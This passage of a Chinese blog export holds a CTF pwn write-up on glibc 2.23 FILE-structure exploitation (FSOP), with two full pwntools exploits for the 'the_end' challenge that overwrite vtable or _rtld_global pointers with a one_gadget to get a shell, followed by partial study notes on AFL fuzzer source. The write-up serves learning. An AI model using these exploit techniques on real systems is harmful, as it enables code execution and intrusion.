class="keyword">int</span>)tmp+offsetof(_IO_FILE,_flags2)));</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"_old_offset:%#x\n"</span>,*(_IO_off_t *)((<span class="keyword">unsigned</span> <span class="keyword">int</span>)tmp+offsetof(_IO_FILE,_old_offset)));</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"_cur_column:%#x\n"</span>,*(<span class="keyword">unsigned</span> short *)((<span class="keyword">unsigned</span> <span class="keyword">int</span>)tmp+offsetof(_IO_FILE,_cur_column)));</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"_vtable_offset:%#x\n"</span>,*(<span class="keyword">signed</span> <span class="keyword">char</span> *)((<span class="keyword">unsigned</span> <span class="keyword">int</span>)tmp+offsetof(_IO_FILE,_vtable_offset)));</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"_shortbuf:%#x\n"</span>,*(<span class="keyword">char</span> *)((<span class="keyword">unsigned</span> <span class="keyword">int</span>)tmp+offsetof(_IO_FILE,_shortbuf)));</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"_lock:%#x\n\n"</span>,*(<span class="keyword">unsigned</span> <span class="keyword">int</span>*)(_IO_lock_t *)((<span class="keyword">unsigned</span> <span class="keyword">int</span>)tmp+offsetof(_IO_FILE,_lock)));</span><br><span class="line">	</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"vatable*:%p\n\n"</span>,*(<span class="keyword">unsigned</span> <span class="keyword">int</span> **)((<span class="keyword">unsigned</span> <span class="keyword">int</span>)tmp+<span class="keyword">sizeof</span>(_IO_FILE)));</span><br><span class="line">&#125;</span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span>&#123;</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Let's see what FILE* have(x64):\n"</span>);</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"The fopen will malloc a chunk to store the FILE structure and return a ptr to the structure chunk"</span>);</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Let's do fopen\n"</span>);</span><br><span class="line">	FILE *f=fopen(<span class="string">"test.txt"</span>,<span class="string">"r+"</span>);</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"And we can see what exactly the structure have at the beginning:\n"</span>);</span><br><span class="line">	printFILE(f);</span><br><span class="line">	</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Then we read something from the file(0x20)\n"</span>);</span><br><span class="line">	<span class="keyword">char</span> <span class="built_in">buffer</span>[<span class="number">0x30</span>]=&#123;<span class="number">0</span>&#125;;</span><br><span class="line">	fread(<span class="built_in">buffer</span>,<span class="number">1</span>,<span class="number">0x20</span>,f);</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"buffer&lt;%s&gt;&lt;%#x&gt;\n"</span>,<span class="built_in">buffer</span>,<span class="built_in">strlen</span>(<span class="built_in">buffer</span>));</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Now the FILE looks like:\n"</span>);</span><br><span class="line">	printFILE(f);</span><br><span class="line">	</span><br><span class="line">	<span class="built_in">memset</span>(<span class="built_in">buffer</span>,<span class="number">0</span>,<span class="number">0x30</span>);</span><br><span class="line">	<span class="built_in">strcpy</span>(<span class="built_in">buffer</span>,<span class="string">"bbbbbbbbbbbbbbbb"</span>);</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Then we write something to the file('b'*0x10)\n"</span>);</span><br><span class="line">	fwrite(<span class="built_in">buffer</span>,<span class="number">1</span>,<span class="built_in">strlen</span>(<span class="built_in">buffer</span>),f);</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Now the FILE looks like:\n"</span>);</span><br><span class="line">	printFILE(f);</span><br><span class="line">	</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Try fflush\n"</span>);</span><br><span class="line">	fflush(f);</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Now the FILE looks like:\n"</span>);</span><br><span class="line">	printFILE(f);</span><br><span class="line">	</span><br><span class="line">	<span class="built_in">memset</span>(<span class="built_in">buffer</span>,<span class="number">0</span>,<span class="number">0x30</span>);</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Read again(0x20)\n"</span>);</span><br><span class="line">	fread(<span class="built_in">buffer</span>,<span class="number">1</span>,<span class="number">0x20</span>,f);</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"buffer&lt;%s&gt;&lt;%#x&gt;\n"</span>,<span class="built_in">buffer</span>,<span class="built_in">strlen</span>(<span class="built_in">buffer</span>));</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Now the FILE looks like:\n"</span>);</span><br><span class="line">	printFILE(f);</span><br><span class="line">	</span><br><span class="line">	<span class="built_in">memset</span>(<span class="built_in">buffer</span>,<span class="string">'*'</span>,<span class="number">0x30</span>);</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Write again('*'*0x20)\n"</span>);</span><br><span class="line">	fwrite(<span class="built_in">buffer</span>,<span class="number">1</span>,<span class="number">0x20</span>,f);</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Now the FILE looks like:\n"</span>);</span><br><span class="line">	printFILE(f);</span><br><span class="line">	</span><br><span class="line">	fflush(f);</span><br><span class="line">	</span><br><span class="line">	fclose(f);</span><br><span class="line">	<span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Now the FILE looks like(Use after free):\n"</span>);</span><br><span class="line">	printFILE(f);</span><br><span class="line">	<span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>其中最主要的大概是fopen时malloc了一个0x230的chunk来存放结构体，然后第一次调用fread时分配了一个0x1000的文件缓冲区，第一次会把文件的全部内容都读到这个缓冲区里面（正确与否有待深究，自己看来暂时是这样）</p>
<p><img src="/2020/02/25/FSOP-the-end/1582612886398.png" alt="1582612886398"></p>
<p>_chain域的链接此时结构大概是：<code>_IO_list_all</code>-&gt;<code>f</code>-&gt;<code>_IO_2_1_stderr_</code>-&gt;<code>_IO_2_1_stdout_</code>-&gt;<code>_IO_2_1_stdin_</code>-&gt;NULL</p>
<p>其中<code>_IO_list_all</code>是一个变量，存储着指向f结构体的指针（以上图为例就是<code>0x603010</code>），f在fopen操作时初始化的FILE*就被链入了这个链表</p>
<p>再就是<code>fclose</code>会直接把对应的两个chunk一起释放了，释放顺序是先释放文件缓冲区再释放结构体chunk</p>
<h1 id="Hijack"><a href="#Hijack" class="headerlink" title="Hijack"></a>Hijack</h1><p>至于vtable在<code>_IO_FILE_plus</code>中的偏移量，摘自wiki就是：在 libc2.23 版本下，32 位的 vtable 偏移为 0x94，64 位偏移为 0xd8（wiki）</p>
<p>如果我们伪造一个vtable，然后修改对应FILE结构体的vtable指针指向我们伪造的vtable，就可以达到劫持程序的目的（不得不说vtable大法好啊23333）</p>
<p>目前 libc2.23 版本下，位于 libc 数据段的 vtable 是不可以进行写入的。不过，通过在可控的内存中伪造 vtable 的方法依然可以实现利用（wiki）</p>
<p>vatble对应的段属性如下所示，在不可写段：</p>
<p><img src="/2020/02/25/FSOP-the-end/1582618757197.png" alt="1582618757197"></p>
<p>(wiki上面关于修改vtable的描述已经很详细了，这里不再赘述，主要是以记笔记为主)</p>
<p>因为 vtable 中的函数调用时会把对应的<code>_IO_FILE_plus</code>指针作为第一个参数传递，因此这里我们把 “sh” 写入<code>_IO_FILE_plus</code> 头部。之后对 fwrite 的调用就会经过我们伪造的 vtable 执行 system(“sh”)<br>（或者直接试着填<code>one_gadget</code>）</p>
<h1 id="leak"><a href="#leak" class="headerlink" title="leak"></a>leak</h1><p>（来自raycp师傅的博客）</p>
<p>控制<code>stdout</code>结构体满足以下条件实现任意泄露：</p>
<ul>
<li><code>_IO_write_base</code>指向想要泄露的地方。</li>
<li><code>_IO_write_ptr</code>指向泄露结束的地址。</li>
<li><code>_IO_read_end</code>等于<code>_IO_write_base</code>以绕过多余的代码。 满足这三个条件，可实现任意读。当然不包含结构体里的<code>_flags</code>字段的伪造，该字段都从原来的结构体里面复制过来，所以就没去分析该如何构造了。</li>
</ul>
<h1 id="Arbitrary-write"><a href="#Arbitrary-write" class="headerlink" title="Arbitrary write"></a>Arbitrary write</h1><p>（来自raycp师傅的博客）</p>
<p>当<code>_IO_write_end</code> 大于<code>_IO_write_ptr</code>时，<code>memcpy</code>就会调用</p>
<p>只需要将<code>_IO_write_ptr</code>指向需要写的地址，<code>_IO_write_end</code>指向结束位置即可</p>
<p>有了任意读与任意写之后，具体实现就是使用任意读泄露libc地址，然后用任意写将<code>one gadget</code>写到<code>malloc_hook</code>中，然后利用<code>%n</code>报错或者是较大的字符打印来触发malloc函数</p>
<h1 id="the-end"><a href="#the-end" class="headerlink" title="the_end"></a>the_end</h1><p>只看概念当然不代表会用了，肯定要写个题印象才深23333</p>
<h2 id="程序分析"><a href="#程序分析" class="headerlink" title="程序分析"></a>程序分析</h2><p><img src="/2020/02/25/FSOP-the-end/1582615573201.png" alt="1582615573201"></p>
<p>程序逻辑非常简单，就是给了一个libc地址，然后任意地址写5次，一次一字节，但是程序开启了PIE和Full RELRO，无法改写程序段的内容，这里我由于是第一次写FILE类型的题，所以就参考了师傅们的WP学了很多（看完的感触就是挖洞果然撸源码是王道啊….）</p>
<p> 当然还有从各路师傅那听来的<a href="http://blog.eonew.cn/archives/1173" target="_blank" rel="noopener">Ex师傅的博客</a>，真的学到了不少东西</p>
<h2 id="Exploit1"><a href="#Exploit1" class="headerlink" title="Exploit1"></a>Exploit1</h2><p>第一种办法是修改stdin/stdout/stderr任一FILE的vtable指针指向我们可控的区域，由于ubuntu libc2.23存放vtable的段不可写，所以不能直接改vtable。改指针的时候也特别巧妙，改的是指针第二个字节，所以可以在可写的段再去找合适的偏移，当然这里的解法都是参考raycp师傅学的新姿势，所以更清晰明了的解释就推荐去看原博主的文了</p>
<p>这个方法里面一共改了三处，5次：<br>第一处：stdin/stdout/stderr任一FILE的 <code>_IO_write_ptr</code>，使其大于<code>_IO_write_base</code><br>第二处：对应vtable指针第二字节，改写的地址对应偏移需要有libc地址<br>第三处：对应偏移处有libc地址，修改低三字节</p>
<p>可能自己接触比较新的就是在libc找合适的地方去改地址<br>我用的命令是 search -p 0x7fxxxx -w，在GDB里面可以直接找到可写的而且有这个地址的内存，然后通过我们需要的偏移比对哪个地址是我们需要的，因为vtable里面是存在偏移的，如果实在是找不到可能就失败了，当然找到的概率还是很大的，毕竟师傅们的利用都这么多了XD</p>
<p>ps：原来这个就是FSOP，开始还以为FSOP是更深一点的知识，然后点开wiki的FSOP之后发现就是这个23333，一举两得？</p>
<h3 id="完整EXP"><a href="#完整EXP" class="headerlink" title="完整EXP"></a>完整EXP</h3><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="keyword">from</span> __future__ <span class="keyword">import</span> print_function</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">binary = <span class="string">'./the_end'</span>	<span class="comment">#binary's name here</span></span><br><span class="line">context.binary = binary		<span class="comment">#context here</span></span><br><span class="line">context.log_level=<span class="string">'debug'</span></span><br><span class="line">pty = process.PTY</span><br><span class="line">p = process(binary, aslr = <span class="number">1</span>, stdin=pty, stdout=pty)	<span class="comment">#process option here</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line"><span class="string">Host =</span></span><br><span class="line"><span class="string">Port =</span></span><br><span class="line"><span class="string">p = remote(Host,Port)</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line">elf = ELF(binary)</span><br><span class="line">libc = elf.libc</span><br><span class="line"></span><br><span class="line">my_u64 = <span class="keyword">lambda</span> x: u64(x.ljust(<span class="number">8</span>, <span class="string">'\0'</span>))</span><br><span class="line">my_u32 = <span class="keyword">lambda</span> x: u32(x.ljust(<span class="number">4</span>, <span class="string">'\0'</span>))</span><br><span class="line">global_max_fast=<span class="number">0x3c67f8</span></span><br><span class="line">codebase = <span class="number">0x555555554000</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">loginfo</span><span class="params">(what=<span class="string">''</span>,address=<span class="number">0</span>)</span>:</span></span><br><span class="line">	log.info(<span class="string">"\033[1;36m"</span> + what + <span class="string">'-----&gt;'</span> + hex(address) + <span class="string">"\033[0m"</span>)</span><br><span class="line"></span><br><span class="line"><span class="string">'''libc 2.23 x64</span></span><br><span class="line"><span class="string">0x45216 execve("/bin/sh", rsp+0x30, environ)constraints:  rax == NULL</span></span><br><span class="line"><span class="string">0x4526a execve("/bin/sh", rsp+0x30, environ)constraints:  [rsp+0x30] == NULL</span></span><br><span class="line"><span class="string">0xf02a4 execve("/bin/sh", rsp+0x50, environ)constraints:  [rsp+0x50] == NULL</span></span><br><span class="line"><span class="string">0xf1147 execve("/bin/sh", rsp+0x70, environ)constraints:  [rsp+0x70] == NULL</span></span><br><span class="line"><span class="string">req = dest - old_top - 4*sizeof(long)</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line"><span class="comment"># todo here</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">writeByte</span><span class="params">(address,Byte)</span>:</span></span><br><span class="line">	p.send(p64(address))</span><br><span class="line">	sleep(<span class="number">0.1</span>)</span><br><span class="line">	p.send(Byte)</span><br><span class="line">	sleep(<span class="number">0.1</span>)</span><br><span class="line"></span><br><span class="line">p.recvuntil(<span class="string">'here is a gift '</span>)</span><br><span class="line">libc_base=int(p.recv(len(<span class="string">'0x7f4ec6b9d230'</span>)),<span class="number">16</span>)-libc.symbols[<span class="string">'sleep'</span>]</span><br><span class="line">loginfo(<span class="string">'libc_base'</span>,libc_base)</span><br><span class="line"><span class="string">'''stdout</span></span><br><span class="line"><span class="string">stdout_IO_write_ptr=0x3c5648</span></span><br><span class="line"><span class="string">stdout_vtable_off=0x3c56f8</span></span><br><span class="line"><span class="string">address_off=0x3c53e0</span></span><br><span class="line"><span class="string">func_off=0x3c53f8</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line">stdin_IO_write_ptr=<span class="number">0x3c4908</span></span><br><span class="line">stdin_vtable_off=<span class="number">0x3c49b8</span></span><br><span class="line">address_off=<span class="number">0x3c53e0</span></span><br><span class="line">func_off=<span class="number">0x3c53f8</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#gdb.attach(p,'brva 0x950')</span></span><br><span class="line">writeByte(stdin_IO_write_ptr+libc_base,<span class="string">'\xff'</span>)</span><br><span class="line">off=address_off+libc_base</span><br><span class="line">off=(off&gt;&gt;<span class="number">8</span>)&amp;<span class="number">0xff</span></span><br><span class="line">off=chr(off)</span><br><span class="line">writeByte(stdin_vtable_off+libc_base+<span class="number">1</span>,off)</span><br><span class="line">one_off=<span class="number">0xf1147</span>+libc_base</span><br><span class="line">one_off1=chr(one_off&amp;<span class="number">0xff</span>)</span><br><span class="line">one_off2=chr((one_off&amp;<span class="number">0xff00</span>)&gt;&gt;<span class="number">8</span>)</span><br><span class="line">one_off3=chr((one_off&amp;<span class="number">0xff0000</span>)&gt;&gt;<span class="number">16</span>)</span><br><span class="line"></span><br><span class="line">writeByte(func_off+libc_base,one_off1)</span><br><span class="line">writeByte(func_off+libc_base+<span class="number">1</span>,one_off2)</span><br><span class="line">writeByte(func_off+libc_base+<span class="number">2</span>,one_off3)</span><br><span class="line"></span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure>

<h2 id="Exploit2"><a href="#Exploit2" class="headerlink" title="Exploit2"></a>Exploit2</h2><p>第二种方法真的是让我感受到了函数指针的伟大23333，简直是Control the ptr ，control the world，这些利用都太奇妙了，再就是源码大法好，以后一定要多看看源码</p>
<p>这里是直接修改的<code>_rtld_global._dl_rtld_lock_recursive</code>这个函数指针….甚至是直接修改地址第三位就可以了…真的tql，被师傅们强大到，以后菜鸡一定多看看源码</p>
<p>直接放exp吧都没什么好写的了23333</p>
<h3 id="完整exp"><a href="#完整exp" class="headerlink" title="完整exp"></a>完整exp</h3><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="keyword">from</span> __future__ <span class="keyword">import</span> print_function</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">binary = <span class="string">'./the_end'</span>	<span class="comment">#binary's name here</span></span><br><span class="line">context.binary = binary		<span class="comment">#context here</span></span><br><span class="line">context.log_level=<span class="string">'debug'</span></span><br><span class="line">pty = process.PTY</span><br><span class="line">p = process(binary, aslr = <span class="number">1</span>, stdin=pty, stdout=pty)	<span class="comment">#process option here</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line"><span class="string">Host =</span></span><br><span class="line"><span class="string">Port =</span></span><br><span class="line"><span class="string">p = remote(Host,Port)</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line">elf = ELF(binary)</span><br><span class="line">libc = elf.libc</span><br><span class="line"></span><br><span class="line">my_u64 = <span class="keyword">lambda</span> x: u64(x.ljust(<span class="number">8</span>, <span class="string">'\0'</span>))</span><br><span class="line">my_u32 = <span class="keyword">lambda</span> x: u32(x.ljust(<span class="number">4</span>, <span class="string">'\0'</span>))</span><br><span class="line">global_max_fast=<span class="number">0x3c67f8</span></span><br><span class="line">codebase = <span class="number">0x555555554000</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">loginfo</span><span class="params">(what=<span class="string">''</span>,address=<span class="number">0</span>)</span>:</span></span><br><span class="line">	log.info(<span class="string">"\033[1;36m"</span> + what + <span class="string">'-----&gt;'</span> + hex(address) + <span class="string">"\033[0m"</span>)</span><br><span class="line"></span><br><span class="line"><span class="string">'''libc 2.23 x64</span></span><br><span class="line"><span class="string">0x45216 execve("/bin/sh", rsp+0x30, environ)constraints:  rax == NULL</span></span><br><span class="line"><span class="string">0x4526a execve("/bin/sh", rsp+0x30, environ)constraints:  [rsp+0x30] == NULL</span></span><br><span class="line"><span class="string">0xf02a4 execve("/bin/sh", rsp+0x50, environ)constraints:  [rsp+0x50] == NULL</span></span><br><span class="line"><span class="string">0xf1147 execve("/bin/sh", rsp+0x70, environ)constraints:  [rsp+0x70] == NULL</span></span><br><span class="line"><span class="string">req = dest - old_top - 4*sizeof(long)</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line"><span class="comment"># todo here</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">writeByte</span><span class="params">(address,Byte)</span>:</span></span><br><span class="line">	p.send(p64(address))</span><br><span class="line">	sleep(<span class="number">0.1</span>)</span><br><span class="line">	p.send(Byte)</span><br><span class="line">	sleep(<span class="number">0.1</span>)</span><br><span class="line"></span><br><span class="line">p.recvuntil(<span class="string">'here is a gift '</span>)</span><br><span class="line">libc_base=int(p.recv(len(<span class="string">'0x7f4ec6b9d230'</span>)),<span class="number">16</span>)-libc.symbols[<span class="string">'sleep'</span>]</span><br><span class="line">loginfo(<span class="string">'libc_base'</span>,libc_base)</span><br><span class="line"></span><br><span class="line">ptr_off_set=<span class="number">0x5f0f48</span></span><br><span class="line">one_gadget=<span class="number">0xf02a4</span>+libc_base</span><br><span class="line">off1=one_gadget&amp;<span class="number">0xff</span></span><br><span class="line">off2=(one_gadget&amp;<span class="number">0xff00</span>)&gt;&gt;<span class="number">8</span></span><br><span class="line">off3=(one_gadget&amp;<span class="number">0xff0000</span>)&gt;&gt;<span class="number">16</span></span><br><span class="line"><span class="comment">#gdb.attach(p,'brva 0x950')</span></span><br><span class="line">writeByte(libc_base+ptr_off_set,chr(off1))</span><br><span class="line">writeByte(libc_base+ptr_off_set,chr(off1))</span><br><span class="line">writeByte(libc_base+ptr_off_set,chr(off1))</span><br><span class="line">writeByte(libc_base+ptr_off_set+<span class="number">1</span>,chr(off2))</span><br><span class="line">writeByte(libc_base+ptr_off_set+<span class="number">2</span>,chr(off3))</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure>

]]></content>
      <tags>
        <tag>pwn</tag>
      </tags>
  </entry>
  <entry>
    <title>alf-fuzz source code(partly)</title>
    <url>/2021/02/05/alf-fuzz-source-code-partly/</url>
    <content><![CDATA[<p>照着<a href="https://xz.aliyun.com/t/4314" target="_blank" rel="noopener">这篇博客</a>先把fuzz的门入了</p>
<h1 id="AFL源码粗略分析笔记"><a href="#AFL源码粗略分析笔记" class="headerlink" title="AFL源码粗略分析笔记"></a>AFL源码粗略分析笔记</h1><p>我是从<a href="https://xz.aliyun.com/t/4628" target="_blank" rel="noopener">这篇</a>和<a href="https://www.anquanke.com/post/id/201760" target="_blank" rel="noopener">这篇</a>开始看的，具体概念这两篇文章也写的很清楚了，下面只是记一些粗略的笔记</p>
<h2 id="afl-gcc-c"><a href="#afl-gcc-c" class="headerlink" title="afl-gcc.c"></a>afl-gcc.c</h2><p>afl-gcc主要是gcc的一个封装(wrapper)，main中主要执行这三个函数：</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line">find_as(argv[<span class="number">0</span>]);</span><br><span class="line"></span><br><span class="line">edit_params(argc, argv);</span><br><span class="line"></span><br><span class="line">execvp(cc_params[<span class="number">0</span>], (<span class="keyword">char</span>**)cc_params);</span><br></pre></td></tr></table></figure>

<h3 id="find-as："><a href="#find-as：" class="headerlink" title="find_as："></a>find_as：</h3><p>这个函数的作用是找到对应的编译器</p>
<h3 id="edit-params："><a href="#edit-params：" class="headerlink" title="edit_params："></a>edit_params：</h3><p>主要是对编译参数做一些设置，用<code>-B</code>指定了编译汇编器等，主要是为了插桩</p>
<p><img src="https://cdn.jsdelivr.net/gh/Coldshield/image_stored/20190330215605-8fcb26f2-52f3-1.png" alt="img"></p>
<h3 id="execvp："><a href="#execvp：" class="headerlink" title="execvp："></a>execvp：</h3><p>用处理之后的编译参数进行源码编译</p>
<h2 id="afl-as-c和afl-as-h"><a href="#afl-as-c和afl-as-h" class="headerlink" title="afl-as.c和afl-as.h"></a>afl-as.c和afl-as.h</h2><p>就是这里进行的插桩，可以看到编译出来的代码多了一些插入的东西，比如<code>__afl_maybe_log</code></p>
<img src="https://cdn.jsdelivr.net/gh/Coldshield/image_stored/image-20210127135753497.png" alt="image-20210127135753497" style="zoom:50%;">

<p>afl-as.c中的关键函数<code>add_instrumentation</code>，使用fprintf将插桩用的代码插入，用来统计覆盖率，这里大致看一下插桩的逻辑</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (   !pass_thru  &amp;&amp;  !skip_intel  &amp;&amp;  !skip_app  &amp;&amp;  !skip_csect <span class="comment">//这四个变量为1时跳过对应的插桩，具体看后面的分析</span></span><br><span class="line">    &amp;&amp;  instr_ok  &amp;&amp;  instrument_next  &amp;&amp;  <span class="built_in">line</span>[<span class="number">0</span>] == <span class="string">'\t'</span>  &amp;&amp;  <span class="built_in">isalpha</span>(<span class="built_in">line</span>[<span class="number">1</span>])<span class="comment">//这里line[0]和isalpha应该是对应汇编文件的格式判断插入的位置，没有深入研究，instr_ok和instrument_next看后面的分析</span></span><br><span class="line">   ) </span><br><span class="line">    &#123;</span><br><span class="line"></span><br><span class="line">      <span class="built_in">fprintf</span>(outf, use_64bit ? trampoline_fmt_64 : trampoline_fmt_32, R(MAP_SIZE));<span class="comment">//插桩写入输出文件,R(MAP_SIZE)的作用是提供一个随机数标识插桩点，在后面分析trampoline_fmt_32会写到</span></span><br><span class="line">      instrument_next = <span class="number">0</span>;</span><br><span class="line">      ins_lines++;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line"> <span class="built_in">fputs</span>(<span class="built_in">line</span>, outf);<span class="comment">//原来的代码再写入输出文件</span></span><br><span class="line"></span><br><span class="line"><span class="comment">//....(一些代码)</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/*     </span></span><br><span class="line"><span class="comment">	All right, this is where the actual fun begins. For one, we only want to</span></span><br><span class="line"><span class="comment">	instrument the .text section. So, let's keep track of that in processed</span></span><br><span class="line"><span class="comment">	files - and let's set instr_ok accordingly. </span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line"><span class="keyword">if</span> (<span class="built_in">line</span>[<span class="number">0</span>] == <span class="string">'\t'</span> &amp;&amp; <span class="built_in">line</span>[<span class="number">1</span>] == <span class="string">'.'</span>) <span class="comment">//这个if分值就和注释写的一样，为了只在代码段进行插入，自己不习惯太乱的代码格式就自己稍微改了改了排版</span></span><br><span class="line">    &#123;</span><br><span class="line"></span><br><span class="line">      <span class="comment">/* OpenBSD puts jump tables directly inline with the code, which is</span></span><br><span class="line"><span class="comment">         a bit annoying. They use a specific format of p2align directives</span></span><br><span class="line"><span class="comment">         around them, so we use that as a signal. */</span></span><br><span class="line"></span><br><span class="line">      <span class="keyword">if</span> (!clang_mode &amp;&amp; instr_ok &amp;&amp; !<span class="built_in">strncmp</span>(<span class="built_in">line</span> + <span class="number">2</span>, <span class="string">"p2align "</span>, <span class="number">8</span>) </span><br><span class="line">          &amp;&amp; <span class="built_in">isdigit</span>(<span class="built_in">line</span>[<span class="number">10</span>]) &amp;&amp; <span class="built_in">line</span>[<span class="number">11</span>] == <span class="string">'\n'</span>)     skip_next_label = <span class="number">1</span>;</span><br><span class="line"></span><br><span class="line">      <span class="keyword">if</span> (!<span class="built_in">strncmp</span>(<span class="built_in">line</span> + <span class="number">2</span>, <span class="string">"text\n"</span>, <span class="number">5</span>) ||</span><br><span class="line">          !<span class="built_in">strncmp</span>(<span class="built_in">line</span> + <span class="number">2</span>, <span class="string">"section\t.text"</span>, <span class="number">13</span>) ||</span><br><span class="line">          !<span class="built_in">strncmp</span>(<span class="built_in">line</span> + <span class="number">2</span>, <span class="string">"section\t__TEXT,__text"</span>, <span class="number">21</span>) ||</span><br><span class="line">          !<span class="built_in">strncmp</span>(<span class="built_in">line</span> + <span class="number">2</span>, <span class="string">"section __TEXT,__text"</span>, <span class="number">21</span>)</span><br><span class="line">         ) </span><br><span class="line">      &#123;</span><br><span class="line">        instr_ok = <span class="number">1</span>;</span><br><span class="line">        <span class="keyword">continue</span>; </span><br><span class="line">      &#125;</span><br><span class="line"></span><br><span class="line">      <span class="keyword">if</span> (!<span class="built_in">strncmp</span>(<span class="built_in">line</span> + <span class="number">2</span>, <span class="string">"section\t"</span>, <span class="number">8</span>) ||</span><br><span class="line">          !<span class="built_in">strncmp</span>(<span class="built_in">line</span> + <span class="number">2</span>, <span class="string">"section "</span>, <span class="number">8</span>) ||</span><br><span class="line">          !<span class="built_in">strncmp</span>(<span class="built_in">line</span> + <span class="number">2</span>, <span class="string">"bss\n"</span>, <span class="number">4</span>) ||</span><br><span class="line">          !<span class="built_in">strncmp</span>(<span class="built_in">line</span> + <span class="number">2</span>, <span class="string">"data\n"</span>, <span class="number">5</span>)</span><br><span class="line">         ) </span><br><span class="line">      &#123;</span><br><span class="line">        instr_ok = <span class="number">0</span>;</span><br><span class="line">        <span class="keyword">continue</span>;</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/* Detect off-flavor assembly (rare, happens in gdb). When this is</span></span><br><span class="line"><span class="comment">       encountered, we set skip_csect until the opposite directive is</span></span><br><span class="line"><span class="comment">       seen, and we do not instrument. </span></span><br><span class="line"><span class="comment">    */</span></span><br><span class="line">    <span class="keyword">if</span> (<span class="built_in">strstr</span>(<span class="built_in">line</span>, <span class="string">".code"</span>))<span class="comment">//这里可以看到skip_csect是检测.code格式设置的，比较少见</span></span><br><span class="line">    &#123;</span><br><span class="line">      <span class="keyword">if</span> (<span class="built_in">strstr</span>(<span class="built_in">line</span>, <span class="string">".code32"</span>)) skip_csect = use_64bit;</span><br><span class="line">      <span class="keyword">if</span> (<span class="built_in">strstr</span>(<span class="built_in">line</span>, <span class="string">".code64"</span>)) skip_csect = !use_64bit;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* Detect syntax changes, as could happen with hand-written assembly.</span></span><br><span class="line"><span class="comment">       Skip Intel blocks, resume instrumentation when back to AT&amp;T. */</span></span><br><span class="line">    <span class="keyword">if</span> (<span class="built_in">strstr</span>(<span class="built_in">line</span>, <span class="string">".intel_syntax"</span>)) skip_intel = <span class="number">1</span>;</span><br><span class="line">    <span class="keyword">if</span> (<span class="built_in">strstr</span>(<span class="built_in">line</span>, <span class="string">".att_syntax"</span>)) skip_intel = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* Detect syntax changes, as could happen with hand-written assembly.</span></span><br><span class="line"><span class="comment">       Skip Intel blocks, resume instrumentation when back to AT&amp;T. */</span></span><br><span class="line">    <span class="keyword">if</span> (<span class="built_in">strstr</span>(<span class="built_in">line</span>, <span class="string">".intel_syntax"</span>)) skip_intel = <span class="number">1</span>;</span><br><span class="line">    <span class="keyword">if</span> (<span class="built_in">strstr</span>(<span 